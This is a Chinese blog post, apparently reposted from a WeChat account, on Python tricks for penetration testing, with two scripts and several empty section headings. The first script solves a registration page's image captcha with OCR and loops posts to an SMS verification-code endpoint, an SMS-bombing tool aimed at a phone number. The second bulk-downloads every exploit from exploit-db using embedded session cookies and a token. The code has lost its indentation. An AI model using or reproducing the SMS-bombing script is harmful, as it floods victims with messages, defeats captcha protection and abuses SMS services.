0x01
0x02(Python识别验证码进行短信轰炸)
#coding:utf-8
from PIL import Image
import time
from selenium import webdriver
import pytesseract
import requests
import re
for i in xrange(1,100):
date = time.strftime("%Y%m%d%H%M%S",time.localtime(time.time()))
url = "https://127.0.0.1/register/register.jsp" #网址
s = requests.session() #保持会话
r = s.get(url,verify=False)
reg = re.compile(' <img id="vcImage" alt='vcImg' src="(.*?)"') #正则获取img地址
d = reg.findall(r.text) #截取img地址
print(u"匹配验证码地址:")
print (u"https://127.0.0.1/register/" + d[0])
url_1 = u"https://127.0.0.1/register/" + d[0]
r = s.get(url_1,verify=False)
photo = (r.text).encode('latin1','ignore') #编码
if r.status_code==200:
imgname = date + '.jpg'
print(u'下载图片'+imgname)
with open(imgname, 'wb') as fd:
fd.write(r.content)
print(u"识别验证码为:")
print pytesseract.image_to_string(imgname) #输出识别img之后的验证码
code = pytesseract.image_to_string(imgname)
url_2 = "https://127.0.0.1/register/sendPhoneVerifyCode.jsp?mobile_number=18888888888&imgCode=" + code
r = s.post(url_2,verify=False)
print (r.text)
# time.sleep(5)
Pass
0x03(爬虫爬取https://www.exploit-db.com上所有CVE)


##coding:utf-8
import requests
import re
import json
import os
import time
import eventlet
system_dir = '/root/CVE/'
def mkdir(path):
import os
path=path.strip()
path=path.rstrip("\")
isExists=os.path.exists(path)
if not isExists:
os.makedirs(path)
print path+' is OK!'
return True
else:
print path+' is exist'
return False
def cd(path):
os.chdir(path)
# data = {
# 'CookieConsent': '{stamp:%27-1%27%2Cnecessary:true%2Cpreferences:true%2Cstatistics:true%2Cmarketing:true%2Cver:1%2Cutc:1604738938791%2Cregion:%27CN%27}',
# '_ga': 'GA1.3.961433315.1604738940',
# '_gid': 'GA1.3.336160364.1604738940',
# '_gat': '1',
# 'XSRF-TOKEN': 'eyJpdiI6ImkzY1VHU3JKeEdCczVFeURcL2xENmx3PT0iLCJ2YWx1ZSI6IlUrXC9LcnFTTnlNRUprZldhM281MDRaNFRydFhNZEJrTThIWkJkZXVuWTlVNzVKMGFPb2ErMmlnWlJPRGpuOHRrIiwibWFjIjoiODA4ZWMwYzg2YTkxMWNkMWUyMTJjNDRlN2JjMzQzYmY2MjYzZjYzOTI4NTlmMWQ4YzEwODViMWQ0MTNkMjFiYyJ9; exploit_database_session=eyJpdiI6ImkrRUd1eW1vVmFvcEE1dTlXR0pMWHc9PSIsInZhbHVlIjoiU1BWSXNnRUlHUDB2SU1neTFjcGpUb1gxZWU4S3V0QVkzUkRrMlhTZ2xSZWVlaUV2OWdUR1wvNU9pMm5zUUc3a3QiLCJtYWMiOiI5ZDEzNmRjYTE5NzcyZGY4NTc0MmU2MzllZTAzYjBmZmY4ODdkZTFkYmZjODFkOWEwOWI0ZTViYzQ0OTgwMWU4In0%3D'
# }
headers = {
'Host': 'www.exploit-db.com',
'Connection': 'close',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'https://www.exploit-db.com/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'CookieConsent': '{stamp:%27-1%27%2Cnecessary:true%2Cpreferences:true%2Cstatistics:true%2Cmarketing:true%2Cver:1%2Cutc:1604738938791%2Cregion:%27CN%27}',
'_ga': 'GA1.3.961433315.1604738940',
'_gid': 'GA1.3.336160364.1604738940',
'_gat': '1',
'XSRF-TOKEN': 'eyJpdiI6ImkzY1VHU3JKeEdCczVFeURcL2xENmx3PT0iLCJ2YWx1ZSI6IlUrXC9LcnFTTnlNRUprZldhM281MDRaNFRydFhNZEJrTThIWkJkZXVuWTlVNzVKMGFPb2ErMmlnWlJPRGpuOHRrIiwibWFjIjoiODA4ZWMwYzg2YTkxMWNkMWUyMTJjNDRlN2JjMzQzYmY2MjYzZjYzOTI4NTlmMWQ4YzEwODViMWQ0MTNkMjFiYyJ9; exploit_database_session=eyJpdiI6ImkrRUd1eW1vVmFvcEE1dTlXR0pMWHc9PSIsInZhbHVlIjoiU1BWSXNnRUlHUDB2SU1neTFjcGpUb1gxZWU4S3V0QVkzUkRrMlhTZ2xSZWVlaUV2OWdUR1wvNU9pMm5zUUc3a3QiLCJtYWMiOiI5ZDEzNmRjYTE5NzcyZGY4NTc0MmU2MzllZTAzYjBmZmY4ODdkZTFkYmZjODFkOWEwOWI0ZTViYzQ0OTgwMWU4In0%3D'
}
for n in range(0,361):
eventlet.monkey_patch()#必须加这条代码
with eventlet.Timeout(5,False): #如果超过5秒,则退出
url = 'https://www.exploit-db.com/?draw=4&columns%5B0%5D%5Bdata%5D=date_published&columns%5B0%5D%5Bname%5D=date_published&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=download&columns%5B1%5D%5Bname%5D=download&columns%5B1%5D%5Bsearchable%5D=false&columns%5B1%5D%5Borderable%5D=false&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=application_md5&columns%5B2%5D%5Bname%5D=application_md5&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=false&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=verified&columns%5B3%5D%5Bname%5D=verified&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=false&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=description&columns%5B4%5D%5Bname%5D=description&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=false&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B5%5D%5Bdata%5D=type_id&columns%5B5%5D%5Bname%5D=type_id&columns%5B5%5D%5Bsearchable%5D=true&columns%5B5%5D%5Borderable%5D=false&columns%5B5%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B5%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B6%5D%5Bdata%5D=platform_id&columns%5B6%5D%5Bname%5D=platform_id&columns%5B6%5D%5Bsearchable%5D=true&columns%5B6%5D%5Borderable%5D=false&columns%5B6%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B6%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B7%5D%5Bdata%5D=author_id&columns%5B7%5D%5Bname%5D=author_id&columns%5B7%5D%5Bsearchable%5D=false&columns%5B7%5D%5Borderable%5D=false&columns%5B7%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B7%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B8%5D%5Bdata%5D=code&columns%5B8%5D%5Bname%5D=code.code&columns%5B8%5D%5Bsearchable%5D=true&columns%5B8%5D%5Borderable%5D=true&columns%5B8%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B8%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B9%5D%5Bdata%5D=id&columns%5B9%5D%5Bname%5D=id&columns%5B9%5D%5Bsearchable%5D=false&columns%5B9%5D%5Borderable%5D=true&columns%5B9%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B9%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=9&order%5B0%5D%5Bdir%5D=desc&start='+ str(n) +'&length=120&search%5Bvalue%5D=d&search%5Bregex%5D=false&author=&port=&type=&tag=&platform=&_=1604739136672'
r = requests.get(url,headers=headers)
cve_json = json.loads(r.text.decode('gb2312').encode('utf-8')) #json解析
# print cve_json
data = cve_json.get("data") #json数据里面的data的值
for x in range(0,120):
dir_name = data[x]['type_id'] #漏洞类别 比如 DOS,WhatApps,Local,Remote
description = data[x]['description'][1] #漏洞名称
description = re.sub("[/,,*,',",*,<,>,:,?,']",' ',description) #正则去掉,我一开始用的windows跑的脚本,文件名有这些的话会报错,所以写了个正则替换
method = data[x]['platform']['platform'] #漏洞环境 如 PHP,ASPX,JSON,JAVA等。。
id = data[x]['id'] #文件下载的id
print "ID id :" + id
name = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) + id + '.txt' #定义保存下来的文件名
mkdir(dir_name)
cd(dir_name)
mkdir(method)
cd(method)
mkdir(description)
print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
cd(description)
download_url = 'https://www.exploit-db.com/download/' + id
cve_txt = requests.get(download_url,headers=headers)
with open(name, "wb") as code:
code.write(cve_txt.content)
print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
print "NOW : " + str(x) + 'n PAGE : ' + str(n)
cd(system_dir) #返回脚本所在目录
print "ERROR-" * 40 #超过五秒则输出
0x04(再看这一个信息泄露的)
再看这一个
0x05 注入(盲注)
推荐文章++++
本文始发于微信公众号(黑白之道):python在渗透中的奇淫技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论